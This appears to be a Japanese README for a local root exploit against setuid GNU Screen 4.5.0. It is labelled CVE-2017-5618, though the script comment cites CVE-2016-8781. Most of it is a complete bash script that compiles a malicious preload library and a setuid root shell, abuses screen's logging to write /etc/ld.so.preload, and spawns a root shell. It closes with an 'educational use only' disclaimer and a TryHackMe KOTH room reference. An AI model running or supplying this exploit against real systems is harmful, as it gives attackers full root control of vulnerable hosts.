
GNU Screen 4.5.0(CVE-2017-5618)向けのローカル権限昇格エクスプロイト。ロギング機能の脆弱性を悪用して共有ライブラリの読み込みをハイジャックし、ld.so.preloadの操作を介してrootアクセスを獲得します。影響を受けるバージョン: Screen 4.5.0(SUID)修正済みバージョン: Screen 4.6.0+
GNU Screen 4.5.0 向けのローカル権限昇格エクスプロイトで、共有ライブラリのロードを乗っ取り、ld.so.preload の操作を介して root アクセス を獲得します。
脆弱性: CVE-2017-5618 種類: ld.so.preload を介した共有ライブラリのハイジャック 影響を受けるバージョン: GNU Screen 4.5.0 のみ 修正済みバージョン: GNU Screen 4.6.0+
CVE: 2017-5618 🎯
バグ: Screen 4.5.0 は危険な権限でログファイルを作成します
仕組み: /etc/ld.so.preload を作成させて、悪意のあるライブラリをロードさせます
ペイロード: 即座に root シェルを取得! 🐚
#!/bin/bash
# exploit.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# CVE-2016-8781
# tested on debian jessie (8.6) with screen 4.5.
# 0xHackers - Darke
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
echo "[+] Triggering..."
screen -ls
/tmp/rootshell
脆弱性のある Screen バージョンを確認中。

ファイルを作成し、必要な権限を付与中。

root アクセスを獲得。

root シェルを取得 - システム全体を制御
教育目的でのみ使用してください! ⚠️ スクリプトキディにならないでください - このツールは、自分が所有するシステム、または明示的なテスト許可を得たシステムでのみ使用してください。
TryHackMe KOTH Room - Food